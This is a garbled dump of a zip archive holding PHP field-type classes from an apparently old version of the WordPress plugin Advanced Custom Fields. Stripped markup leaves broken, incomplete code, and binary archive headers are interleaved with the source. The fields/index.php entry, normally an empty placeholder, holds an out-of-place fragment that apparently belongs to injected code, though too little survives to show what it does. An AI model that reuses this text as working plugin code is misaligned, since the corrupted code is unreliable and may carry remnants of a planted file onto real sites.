23/01/13 */ function create_field( $field ) { // let post_object create the field $field['type'] = 'post_object'; do_action('acf/create_field', $field ); } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { $key = $field['name']; ?> __("All",'acf') ); $choices = apply_filters('acf/get_post_types', $choices); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][post_type]', 'value' => $field['post_type'], 'choices' => $choices, 'multiple' => 1, )); ?> 'radio', 'name' => 'fields['.$key.'][allow_null]', 'value' => $field['allow_null'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> 'radio', 'name' => 'fields['.$key.'][multiple]', 'value' => $field['multiple'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> $v ) { $value[ $k ] = get_permalink($v); } } else { $value = get_permalink($value); } return $value; } } new acf_field_page_link(); ?>PK;hZFfields/user.phpnuW+Aname = 'user'; $this->label = __("User",'acf'); $this->category = __("Relational",'acf'); $this->defaults = array( 'role' => 'all', 'field_type' => 'select', 'allow_null' => 0, ); // do not delete! parent::__construct(); } /* * format_value_for_api() * * This filter is appied to the $value after it is loaded from the db and before it is passed back to the api functions such as the_field * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which was loaded from the database * @param $field - the field array holding all the field options * * @return $value - the modified value */ function format_value_for_api( $value, $post_id, $field ) { // format value if( !$value || $value == 'null' ) { return false; } // temp convert to array $is_array = true; if( !is_array($value) ) { $is_array = false; $value = array( $value ); } foreach( $value as $k => $v ) { $user_data = get_userdata( $v ); //cope with deleted users by @adampope if( !is_object($user_data) ) { unset( $value[$k] ); continue; } $value[ $k ] = array(); $value[ $k ]['ID'] = $v; $value[ $k ]['user_firstname'] = $user_data->user_firstname; $value[ $k ]['user_lastname'] = $user_data->user_lastname; $value[ $k ]['nickname'] = $user_data->nickname; $value[ $k ]['user_nicename'] = $user_data->user_nicename; $value[ $k ]['display_name'] = $user_data->display_name; $value[ $k ]['user_email'] = $user_data->user_email; $value[ $k ]['user_url'] = $user_data->user_url; $value[ $k ]['user_registered'] = $user_data->user_registered; $value[ $k ]['user_description'] = $user_data->user_description; $value[ $k ]['user_avatar'] = get_avatar( $v ); } // de-convert from array if( !$is_array && isset($value[0]) ) { $value = $value[0]; } // return value return $value; } /* * input_admin_head() * * This action is called in the admin_head action on the edit screen where your field is created. * Use this action to add css and javascript to assist your create_field() action. * * @info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_head * @type action * @since 3.6 * @date 23/01/13 */ function input_admin_head() { if( ! function_exists( 'get_editable_roles' ) ) { // if using front-end forms then we need to add this core file require_once( ABSPATH . '/wp-admin/includes/user.php' ); } } /* * create_field() * * Create the HTML interface for your field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_field( $field ) { if( ! function_exists( 'get_editable_roles' ) ) { // if using front-end forms then we need to add this core file require_once( ABSPATH . '/wp-admin/includes/user.php' ); } // options $options = array( 'post_id' => get_the_ID(), ); // vars $args = array(); // editable roles $editable_roles = get_editable_roles(); if( !empty($field['role']) ) { if( ! in_array('all', $field['role']) ) { foreach( $editable_roles as $role => $role_info ) { if( !in_array($role, $field['role']) ) { unset( $editable_roles[ $role ] ); } } } } // filters $args = apply_filters('acf/fields/user/query', $args, $field, $options['post_id']); $args = apply_filters('acf/fields/user/query/name=' . $field['_name'], $args, $field, $options['post_id'] ); $args = apply_filters('acf/fields/user/query/key=' . $field['key'], $args, $field, $options['post_id'] ); // get users $users = get_users( $args ); if( !empty($users) && !empty($editable_roles) ) { $field['choices'] = array(); foreach( $editable_roles as $role => $role_info ) { // vars $this_users = array(); $this_json = array(); // loop over users $keys = array_keys($users); foreach( $keys as $key ) { if( in_array($role, $users[ $key ]->roles) ) { $this_users[] = $users[ $key ]; unset( $users[ $key ] ); } } // bail early if no users for this role if( empty($this_users) ) { continue; } // label $label = translate_user_role( $role_info['name'] ); // append to choices $field['choices'][ $label ] = array(); foreach( $this_users as $user ) { $field['choices'][ $label ][ $user->ID ] = ucfirst( $user->display_name ); } } } // modify field if( $field['field_type'] == 'multi_select' ) { $field['multiple'] = 1; } $field['type'] = 'select'; do_action('acf/create_field', $field); } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // vars $key = $field['name']; ?> __('All', 'acf')); $editable_roles = get_editable_roles(); foreach( $editable_roles as $role => $details ) { // only translate the output not the value $choices[$role] = translate_user_role( $details['name'] ); } do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields[' . $key . '][role]', 'value' => $field['role'], 'choices' => $choices, 'multiple' => '1', )); ?> 'select', 'name' => 'fields['.$key.'][field_type]', 'value' => $field['field_type'], 'choices' => array( __("Multiple Values",'acf') => array( //'checkbox' => __('Checkbox', 'acf'), 'multi_select' => __('Multi Select', 'acf') ), __("Single Value",'acf') => array( //'radio' => __('Radio Buttons', 'acf'), 'select' => __('Select', 'acf') ) ) )); ?> 'radio', 'name' => 'fields['.$key.'][allow_null]', 'value' => $field['allow_null'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> ID) ) { $value = $value->ID; } return $value; } } new acf_field_user(); ?>PK;hZe5'5'fields/wysiwyg.phpnuW+Aname = 'wysiwyg'; $this->label = __("Wysiwyg Editor",'acf'); $this->category = __("Content",'acf'); $this->defaults = array( 'toolbar' => 'full', 'media_upload' => 'yes', 'default_value' => '', ); // Create an acf version of the_content filter (acf_the_content) if( isset($GLOBALS['wp_embed']) ) { add_filter( 'acf_the_content', array( $GLOBALS['wp_embed'], 'run_shortcode' ), 8 ); add_filter( 'acf_the_content', array( $GLOBALS['wp_embed'], 'autoembed' ), 8 ); } add_filter( 'acf_the_content', 'capital_P_dangit', 11 ); add_filter( 'acf_the_content', 'wptexturize' ); add_filter( 'acf_the_content', 'convert_smilies' ); add_filter( 'acf_the_content', 'convert_chars' ); add_filter( 'acf_the_content', 'wpautop' ); add_filter( 'acf_the_content', 'shortcode_unautop' ); //add_filter( 'acf_the_content', 'prepend_attachment' ); *should only be for the_content (causes double image on attachment page) add_filter( 'acf_the_content', 'do_shortcode', 11); // do not delete! parent::__construct(); // filters add_filter( 'acf/fields/wysiwyg/toolbars', array( $this, 'toolbars'), 1, 1 ); add_filter( 'mce_external_plugins', array( $this, 'mce_external_plugins'), 20, 1 ); } /* * mce_external_plugins * * This filter will add in the tinyMCE 'code' plugin which is missing in WP 3.9 * * @type function * @date 18/04/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function mce_external_plugins( $plugins ){ // global global $wp_version; // WP 3.9 an above if( version_compare($wp_version, '3.9', '>=' ) ) { // add code $plugins['code'] = apply_filters('acf/get_info', 'dir') . 'js/tinymce.code.min.js'; } // return return $plugins; } /* * toolbars() * * This filter allowsyou to customize the WYSIWYG toolbars * * @param $toolbars - an array of toolbars * * @return $toolbars - the modified $toolbars * * @type filter * @since 3.6 * @date 23/01/13 */ function toolbars( $toolbars ) { // global global $wp_version; // vars $editor_id = 'acf_settings'; if( version_compare($wp_version, '3.9', '>=' ) ) { // Full $toolbars['Full'] = array( 1 => apply_filters( 'mce_buttons', array('bold', 'italic', 'strikethrough', 'bullist', 'numlist', 'blockquote', 'hr', 'alignleft', 'aligncenter', 'alignright', 'link', 'unlink', 'wp_more', 'spellchecker', 'fullscreen', 'wp_adv' ), $editor_id ), 2 => apply_filters( 'mce_buttons_2', array( 'formatselect', 'underline', 'alignjustify', 'forecolor', 'pastetext', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo', 'wp_help', 'code' ), $editor_id ), 3 => apply_filters('mce_buttons_3', array(), $editor_id), 4 => apply_filters('mce_buttons_4', array(), $editor_id), ); // Basic $toolbars['Basic'] = array( 1 => apply_filters( 'teeny_mce_buttons', array('bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'alignleft', 'aligncenter', 'alignright', 'undo', 'redo', 'link', 'unlink', 'fullscreen'), $editor_id ), ); } else { // Full $toolbars['Full'] = array( 1 => apply_filters( 'mce_buttons', array('bold', 'italic', 'strikethrough', 'bullist', 'numlist', 'blockquote', 'justifyleft', 'justifycenter', 'justifyright', 'link', 'unlink', 'wp_more', 'spellchecker', 'fullscreen', 'wp_adv' ), $editor_id ), 2 => apply_filters( 'mce_buttons_2', array( 'formatselect', 'underline', 'justifyfull', 'forecolor', 'pastetext', 'pasteword', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo', 'wp_help', 'code' ), $editor_id ), 3 => apply_filters('mce_buttons_3', array(), $editor_id), 4 => apply_filters('mce_buttons_4', array(), $editor_id), ); // Basic $toolbars['Basic'] = array( 1 => apply_filters( 'teeny_mce_buttons', array('bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'justifyleft', 'justifycenter', 'justifyright', 'undo', 'redo', 'link', 'unlink', 'fullscreen'), $editor_id ), ); } // Custom - can be added with acf/fields/wysiwyg/toolbars filter return $toolbars; } /* * input_admin_head() * * This action is called in the admin_head action on the edit screen where your field is created. * Use this action to add css and javascript to assist your create_field() action. * * @info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_head * @type action * @since 3.6 * @date 23/01/13 */ function input_admin_head() { add_action( 'admin_footer', array( $this, 'admin_footer') ); } function admin_footer() { ?>
=' ) ) { add_filter( 'acf_the_editor_content', 'format_for_editor', 10, 2 ); // WP < 4.3 } else { $function = user_can_richedit() ? 'wp_richedit_pre' : 'wp_htmledit_pre'; add_filter('acf_the_editor_content', $function, 10, 1); } // filter $field['value'] = apply_filters( 'acf_the_editor_content', $field['value'], $default_editor ); ?>

'textarea', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?> $v ) { $label = $k; $name = sanitize_title( $label ); $name = str_replace('-', '_', $name); $choices[ $name ] = $label; } } do_action('acf/create_field', array( 'type' => 'radio', 'name' => 'fields['.$key.'][toolbar]', 'value' => $field['toolbar'], 'layout' => 'horizontal', 'choices' => $choices )); ?> 'radio', 'name' => 'fields['.$key.'][media_upload]', 'value' => $field['media_upload'], 'layout' => 'horizontal', 'choices' => array( 'yes' => __("Yes",'acf'), 'no' => __("No",'acf'), ) )); ?> ', ']]>', $value); return $value; } } new acf_field_wysiwyg(); ?>PK;hZbvvfields/radio.phpnuW+Aname = 'radio'; $this->label = __("Radio Button",'acf'); $this->category = __("Choice",'acf'); $this->defaults = array( 'layout' => 'vertical', 'choices' => array(), 'default_value' => '', 'other_choice' => 0, 'save_other_choice' => 0, ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $i = 0; $e = '
    '; // add choices if( is_array($field['choices']) ) { foreach( $field['choices'] as $key => $value ) { // vars $i++; $atts = ''; // if there is no value and this is the first of the choices, select this on by default if( $field['value'] === false ) { if( $i === 1 ) { $atts = 'checked="checked" data-checked="checked"'; } } else { if( strval($key) === strval($field['value']) ) { $atts = 'checked="checked" data-checked="checked"'; } } // HTML $e .= '
  • '; } } // other choice if( $field['other_choice'] ) { // vars $atts = ''; $atts2 = 'name="" value="" style="display:none"'; if( $field['value'] !== false ) { if( !isset($field['choices'][ $field['value'] ]) ) { $atts = 'checked="checked" data-checked="checked"'; $atts2 = 'name="' . esc_attr($field['name']) . '" value="' . esc_attr($field['value']) . '"' ; } } $e .= '
  • '; } $e .= '
'; echo $e; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // vars $key = $field['name']; // implode checkboxes so they work in a textarea if( is_array($field['choices']) ) { foreach( $field['choices'] as $k => $v ) { $field['choices'][ $k ] = $k . ' : ' . $v; } $field['choices'] = implode("\n", $field['choices']); } ?>








'textarea', 'class' => 'textarea field_option-choices', 'name' => 'fields['.$key.'][choices]', 'value' => $field['choices'], )); ?>
'true_false', 'name' => 'fields['.$key.'][other_choice]', 'value' => $field['other_choice'], 'message' => __("Add 'other' choice to allow for custom values", 'acf') )); ?>
style="display:none"> 'true_false', 'name' => 'fields['.$key.'][save_other_choice]', 'value' => $field['save_other_choice'], 'message' => __("Save 'other' values to the field's choices", 'acf') )); ?>
'text', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?> 'radio', 'name' => 'fields['.$key.'][layout]', 'value' => $field['layout'], 'layout' => 'horizontal', 'choices' => array( 'vertical' => __("Vertical",'acf'), 'horizontal' => __("Horizontal",'acf') ) )); ?> PK;hZmfields/index.phpnuW+Aok<");};?>
'); } } } ?> name = 'password'; $this->label = __("Password",'acf'); $this->defaults = array( 'placeholder' => '', 'prepend' => '', 'append' => '' ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'name', 'value', 'placeholder' ); $e = ''; // prepend if( $field['prepend'] !== "" ) { $field['class'] .= ' acf-is-prepended'; $e .= '
' . $field['prepend'] . '
'; } // append if( $field['append'] !== "" ) { $field['class'] .= ' acf-is-appended'; $e .= '
' . $field['append'] . '
'; } $e .= '
'; $e .= '

'text', 'name' => 'fields[' .$key.'][placeholder]', 'value' => $field['placeholder'], )); ?>

'text', 'name' => 'fields[' .$key.'][prepend]', 'value' => $field['prepend'], )); ?>

'text', 'name' => 'fields[' .$key.'][append]', 'value' => $field['append'], )); ?> PK;hZ=fields/google-map.phpnuW+Aname = 'google_map'; $this->label = __("Google Map",'acf'); $this->category = __("jQuery",'acf'); $this->defaults = array( 'height' => '', 'center_lat' => '', 'center_lng' => '', 'zoom' => '' ); $this->default_values = array( 'height' => '400', 'center_lat' => '-37.81411', 'center_lng' => '144.96328', 'zoom' => '14' ); $this->l10n = array( 'locating' => __("Locating",'acf'), 'browser_support' => __("Sorry, this browser does not support geolocation",'acf'), ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // require the googlemaps JS ( this script is now lazy loaded via JS ) //wp_enqueue_script('acf-googlemaps'); // default value if( !is_array($field['value']) ) { $field['value'] = array(); } $field['value'] = wp_parse_args($field['value'], array( 'address' => '', 'lat' => '', 'lng' => '' )); // default options foreach( $this->default_values as $k => $v ) { if( ! $field[ $k ] ) { $field[ $k ] = $v; } } // vars $o = array( 'class' => '', ); if( $field['value']['address'] ) { $o['class'] = 'active'; } $atts = ''; $keys = array( 'data-id' => 'id', 'data-lat' => 'center_lat', 'data-lng' => 'center_lng', 'data-zoom' => 'zoom' ); foreach( $keys as $k => $v ) { $atts .= ' ' . $k . '="' . esc_attr( $field[ $v ] ) . '"'; } ?>
>
$v ): ?>
">Locate " class="search" />

  • 'text', 'name' => 'fields['.$key.'][center_lat]', 'value' => $field['center_lat'], 'prepend' => 'lat', 'placeholder' => $this->default_values['center_lat'] )); ?>
  • 'text', 'name' => 'fields['.$key.'][center_lng]', 'value' => $field['center_lng'], 'prepend' => 'lng', 'placeholder' => $this->default_values['center_lng'] )); ?>

'number', 'name' => 'fields['.$key.'][zoom]', 'value' => $field['zoom'], 'placeholder' => $this->default_values['zoom'] )); ?>

'number', 'name' => 'fields['.$key.'][height]', 'value' => $field['height'], 'append' => 'px', 'placeholder' => $this->default_values['height'] )); ?> 'places', 'key' => '', 'client' => '' ); // filter $api = apply_filters('acf/fields/google_map/api', $api); // remove empty if( empty($api['key']) ) unset($api['key']); if( empty($api['client']) ) unset($api['client']); ?> PK;hZxfields/color_picker.phpnuW+Aname = 'color_picker'; $this->label = __("Color Picker",'acf'); $this->category = __("jQuery",'acf'); $this->defaults = array( 'default_value' => '', ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'name', 'value' ); $e = ''; $e .= '
'; $e .= ' 'text', 'name' => 'fields[' .$key.'][default_value]', 'value' => $field['default_value'], 'placeholder' => '#ffffff' )); ?> PK;hZ\(GGfields/relationship.phpnuW+Aname = 'relationship'; $this->label = __("Relationship",'acf'); $this->category = __("Relational",'acf'); $this->defaults = array( 'post_type' => array('all'), 'max' => '', 'taxonomy' => array('all'), 'filters' => array('search'), 'result_elements' => array('post_title', 'post_type'), 'return_format' => 'object' ); $this->l10n = array( 'max' => __("Maximum values reached ( {max} values )",'acf') ); // do not delete! parent::__construct(); // extra add_action('wp_ajax_acf/fields/relationship/query_posts', array($this, 'query_posts')); add_action('wp_ajax_nopriv_acf/fields/relationship/query_posts', array($this, 'query_posts')); } /* * load_field() * * This filter is appied to the $field after it is loaded from the database * * @type filter * @since 3.6 * @date 23/01/13 * * @param $field - the field array holding all the field options * * @return $field - the field array holding all the field options */ function load_field( $field ) { // validate post_type if( !$field['post_type'] || !is_array($field['post_type']) || in_array('', $field['post_type']) ) { $field['post_type'] = array( 'all' ); } // validate taxonomy if( !$field['taxonomy'] || !is_array($field['taxonomy']) || in_array('', $field['taxonomy']) ) { $field['taxonomy'] = array( 'all' ); } // validate result_elements if( !is_array( $field['result_elements'] ) ) { $field['result_elements'] = array(); } if( !in_array('post_title', $field['result_elements']) ) { $field['result_elements'][] = 'post_title'; } // filters if( !is_array( $field['filters'] ) ) { $field['filters'] = array(); } // return return $field; } /* * get_result * * description * * @type function * @date 5/02/2015 * @since 5.1.5 * * @param $post_id (int) * @return $post_id (int) */ function get_result( $post, $field, $the_post, $options = array() ) { // right aligned info $title = ''; if( in_array('post_type', $field['result_elements']) ) { $post_type_object = get_post_type_object( $post->post_type ); $title .= $post_type_object->labels->singular_name; } // WPML if( !empty($options['lang']) ) { $title .= ' (' . $options['lang'] . ')'; } elseif( defined('ICL_LANGUAGE_CODE') ) { $title .= ' (' . ICL_LANGUAGE_CODE . ')'; } $title .= ''; // featured_image if( in_array('featured_image', $field['result_elements']) ) { $image = ''; if( $post->post_type == 'attachment' ) { $image = wp_get_attachment_image( $post->ID, array(21, 21) ); } else { $image = get_the_post_thumbnail( $post->ID, array(21, 21) ); } $title .= '
' . $image . '
'; } // title $post_title = get_the_title( $post->ID ); // empty if( $post_title === '' ) { $post_title = __('(no title)', 'acf'); } $title .= $post_title; // status if( get_post_status( $post->ID ) != "publish" ) { $title .= ' (' . get_post_status( $post->ID ) . ')'; } // filters $title = apply_filters('acf/fields/relationship/result', $title, $post, $field, $the_post); $title = apply_filters('acf/fields/relationship/result/name=' . $field['_name'] , $title, $post, $field, $the_post); $title = apply_filters('acf/fields/relationship/result/key=' . $field['key'], $title, $post, $field, $the_post); // return return $title; } /* * query_posts * * @description: * @since: 3.6 * @created: 27/01/13 */ function query_posts() { // vars $r = array( 'next_page_exists' => 1, 'html' => '' ); // options $options = array( 'post_type' => 'all', 'taxonomy' => 'all', 'posts_per_page' => 10, 'paged' => 1, 'orderby' => 'title', 'order' => 'ASC', 'post_status' => 'any', 'suppress_filters' => false, 's' => '', 'lang' => false, 'update_post_meta_cache' => false, 'field_key' => '', 'nonce' => '', 'ancestor' => false, ); $options = array_merge( $options, $_POST ); // validate if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(); } // WPML if( $options['lang'] ) { global $sitepress; if( !empty($sitepress) ) { $sitepress->switch_lang( $options['lang'] ); } } // convert types $options['post_type'] = explode(',', $options['post_type']); $options['taxonomy'] = explode(',', $options['taxonomy']); // load all post types by default if( in_array('all', $options['post_type']) ) { $options['post_type'] = apply_filters('acf/get_post_types', array()); } // attachment doesn't work if it is the only item in an array??? if( is_array($options['post_type']) && count($options['post_type']) == 1 ) { $options['post_type'] = $options['post_type'][0]; } // create tax queries if( ! in_array('all', $options['taxonomy']) ) { // vars $taxonomies = array(); $options['tax_query'] = array(); foreach( $options['taxonomy'] as $v ) { // find term (find taxonomy!) // $term = array( 0 => $taxonomy, 1 => $term_id ) $term = explode(':', $v); // validate if( !is_array($term) || !isset($term[1]) ) { continue; } // add to tax array $taxonomies[ $term[0] ][] = $term[1]; } // now create the tax queries foreach( $taxonomies as $k => $v ) { $options['tax_query'][] = array( 'taxonomy' => $k, 'field' => 'id', 'terms' => $v, ); } } unset( $options['taxonomy'] ); // load field $field = array(); if( $options['ancestor'] ) { $ancestor = apply_filters('acf/load_field', array(), $options['ancestor'] ); $field = acf_get_child_field_from_parent_field( $options['field_key'], $ancestor ); } else { $field = apply_filters('acf/load_field', array(), $options['field_key'] ); } // get the post from which this field is rendered on $the_post = get_post( $options['post_id'] ); // filters $options = apply_filters('acf/fields/relationship/query', $options, $field, $the_post); $options = apply_filters('acf/fields/relationship/query/name=' . $field['_name'], $options, $field, $the_post ); $options = apply_filters('acf/fields/relationship/query/key=' . $field['key'], $options, $field, $the_post ); // query $wp_query = new WP_Query( $options ); // global global $post; // loop while( $wp_query->have_posts() ) { $wp_query->the_post(); // get title $title = $this->get_result($post, $field, $the_post, $options); // update html $r['html'] .= '
  • ' . $title . '
  • '; } // next page if( (int)$options['paged'] >= $wp_query->max_num_pages ) { $r['next_page_exists'] = 0; } // reset wp_reset_postdata(); // return JSON echo json_encode( $r ); die(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // global global $post; // no row limit? if( !$field['max'] || $field['max'] < 1 ) { $field['max'] = 9999; } // class $class = ''; if( $field['filters'] ) { foreach( $field['filters'] as $filter ) { $class .= ' has-' . $filter; } } $attributes = array( 'max' => $field['max'], 's' => '', 'paged' => 1, 'post_type' => implode(',', $field['post_type']), 'taxonomy' => implode(',', $field['taxonomy']), 'field_key' => $field['key'] ); // Lang if( defined('ICL_LANGUAGE_CODE') ) { $attributes['lang'] = ICL_LANGUAGE_CODE; } // parent preg_match('/\[(field_.*?)\]/', $field['name'], $ancestor); if( isset($ancestor[1]) && $ancestor[1] != $field['key']) { $attributes['ancestor'] = $ancestor[1]; } ?>
    $v ): ?> data-="">
    " type="text" id="relationship_" />
    __("Filter by post type",'acf') ); if( in_array('all', $field['post_type']) ) { $post_types = apply_filters( 'acf/get_post_types', array() ); $choices = array_merge( $choices, $post_types); } else { foreach( $field['post_type'] as $post_type ) { $choices[ $post_type ] = $post_type; } } // create field do_action('acf/create_field', array( 'type' => 'select', 'name' => '', 'class' => 'select-post_type', 'value' => '', 'choices' => $choices, )); ?>

    'radio', 'name' => 'fields['.$key.'][return_format]', 'value' => $field['return_format'], 'layout' => 'horizontal', 'choices' => array( 'object' => __("Post Objects",'acf'), 'id' => __("Post IDs",'acf') ) )); ?> __("All",'acf') ); $choices = apply_filters('acf/get_post_types', $choices); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][post_type]', 'value' => $field['post_type'], 'choices' => $choices, 'multiple' => 1, )); ?> array( 'all' => __("All",'acf') ) ); $simple_value = false; $choices = apply_filters('acf/get_taxonomies_for_select', $choices, $simple_value); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][taxonomy]', 'value' => $field['taxonomy'], 'choices' => $choices, 'multiple' => 1, )); ?> 'checkbox', 'name' => 'fields['.$key.'][filters]', 'value' => $field['filters'], 'choices' => array( 'search' => __("Search",'acf'), 'post_type' => __("Post Type Select",'acf'), ) )); ?>

    'checkbox', 'name' => 'fields['.$key.'][result_elements]', 'value' => $field['result_elements'], 'choices' => array( 'featured_image' => __("Featured Image",'acf'), 'post_title' => __("Post Title",'acf'), 'post_type' => __("Post Type",'acf'), ), 'disabled' => array( 'post_title' ) )); ?> 'number', 'name' => 'fields['.$key.'][max]', 'value' => $field['max'], )); ?> get_posts( $value ); } } // return value return $value; } /* * format_value_for_api() * * This filter is appied to the $value after it is loaded from the db and before it is passed back to the api functions such as the_field * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which was loaded from the database * @param $post_id - the $post_id from which the value was loaded * @param $field - the field array holding all the field options * * @return $value - the modified value */ function format_value_for_api( $value, $post_id, $field ) { // empty? if( !$value ) { return $value; } // Pre 3.3.3, the value is a string coma seperated if( is_string($value) ) { $value = explode(',', $value); } // empty? if( !is_array($value) || empty($value) ) { return $value; } // convert to integers $value = array_map('intval', $value); // return format if( $field['return_format'] == 'object' ) { $value = $this->get_posts( $value ); } // return return $value; } /* * get_posts * * This function will take an array of post_id's ($value) and return an array of post_objects * * @type function * @date 7/08/13 * * @param $post_ids (array) the array of post ID's * @return (array) an array of post objects */ function get_posts( $post_ids ) { // validate if( empty($post_ids) ) { return $post_ids; } // vars $r = array(); // find posts (DISTINCT POSTS) $posts = get_posts(array( 'numberposts' => -1, 'post__in' => $post_ids, 'post_type' => apply_filters('acf/get_post_types', array()), 'post_status' => 'any', )); $ordered_posts = array(); foreach( $posts as $p ) { // create array to hold value data $ordered_posts[ $p->ID ] = $p; } // override value array with attachments foreach( $post_ids as $k => $v) { // check that post exists (my have been trashed) if( isset($ordered_posts[ $v ]) ) { $r[] = $ordered_posts[ $v ]; } } // return return $r; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $post_id - the $post_id of which the value will be saved * @param $field - the field array holding all the field options * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { // validate if( empty($value) ) { return $value; } if( is_string($value) ) { // string $value = explode(',', $value); } elseif( is_object($value) && isset($value->ID) ) { // object $value = array( $value->ID ); } elseif( is_array($value) ) { // array foreach( $value as $k => $v ){ // object? if( is_object($v) && isset($v->ID) ) { $value[ $k ] = $v->ID; } } } // save value as strings, so we can clearly search for them in SQL LIKE statements $value = array_map('strval', $value); return $value; } } new acf_field_relationship(); ?>PK;hZ'fields/_base.phpnuW+Aname, array($this, 'load_field_defaults'), 10, 1); // value $this->add_filter('acf/load_value/type=' . $this->name, array($this, 'load_value'), 10, 3); $this->add_filter('acf/update_value/type=' . $this->name, array($this, 'update_value'), 10, 3); $this->add_filter('acf/format_value/type=' . $this->name, array($this, 'format_value'), 10, 3); $this->add_filter('acf/format_value_for_api/type=' . $this->name, array($this, 'format_value_for_api'), 10, 3); // field $this->add_filter('acf/load_field/type=' . $this->name, array($this, 'load_field'), 10, 3); $this->add_filter('acf/update_field/type=' . $this->name, array($this, 'update_field'), 10, 2); $this->add_action('acf/create_field/type=' . $this->name, array($this, 'create_field'), 10, 1); $this->add_action('acf/create_field_options/type=' . $this->name, array($this, 'create_options'), 10, 1); // input actions $this->add_action('acf/input/admin_enqueue_scripts', array($this, 'input_admin_enqueue_scripts'), 10, 0); $this->add_action('acf/input/admin_head', array($this, 'input_admin_head'), 10, 0); $this->add_filter('acf/input/admin_l10n', array($this, 'input_admin_l10n'), 10, 1); // field group actions $this->add_action('acf/field_group/admin_enqueue_scripts', array($this, 'field_group_admin_enqueue_scripts'), 10, 0); $this->add_action('acf/field_group/admin_head', array($this, 'field_group_admin_head'), 10, 0); } /* * add_filter * * @description: checks if the function is_callable before adding the filter * @since: 3.6 * @created: 30/01/13 */ function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) { if( is_callable($function_to_add) ) { add_filter($tag, $function_to_add, $priority, $accepted_args); } } /* * add_action * * @description: checks if the function is_callable before adding the action * @since: 3.6 * @created: 30/01/13 */ function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) { if( is_callable($function_to_add) ) { add_action($tag, $function_to_add, $priority, $accepted_args); } } /* * registered_fields() * * Adds this field to the select list when creating a new field * * @type filter * @since 3.6 * @date 23/01/13 * * @param $fields - the array of all registered fields * * @return $fields - the array of all registered fields */ function registered_fields( $fields ) { // defaults if( !$this->category ) { $this->category = __('Basic', 'acf'); } // add to array $fields[ $this->category ][ $this->name ] = $this->label; // return array return $fields; } /* * load_field_defaults * * action called when rendering the head of an admin screen. Used primarily for passing PHP to JS * * @type filer * @date 1/06/13 * * @param $field {array} * @return $field {array} */ function load_field_defaults( $field ) { if( !empty($this->defaults) ) { foreach( $this->defaults as $k => $v ) { if( !isset($field[ $k ]) ) { $field[ $k ] = $v; } } } return $field; } /* * admin_l10n * * filter is called to load all l10n text translations into the admin head script tag * * @type filer * @date 1/06/13 * * @param $field {array} * @return $field {array} */ function input_admin_l10n( $l10n ) { if( !empty($this->l10n) ) { $l10n[ $this->name ] = $this->l10n; } return $l10n; } } ?>PK;hZJd^*^*fields/post_object.phpnuW+Aname = 'post_object'; $this->label = __("Post Object",'acf'); $this->category = __("Relational",'acf'); $this->defaults = array( 'post_type' => array('all'), 'taxonomy' => array('all'), 'multiple' => 0, 'allow_null' => 0, ); // do not delete! parent::__construct(); } /* * load_field() * * This filter is appied to the $field after it is loaded from the database * * @type filter * @since 3.6 * @date 23/01/13 * * @param $field - the field array holding all the field options * * @return $field - the field array holding all the field options */ function load_field( $field ) { // validate post_type if( !$field['post_type'] || !is_array($field['post_type']) || in_array('', $field['post_type']) ) { $field['post_type'] = array( 'all' ); } // validate taxonomy if( !$field['taxonomy'] || !is_array($field['taxonomy']) || in_array('', $field['taxonomy']) ) { $field['taxonomy'] = array( 'all' ); } // return return $field; } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 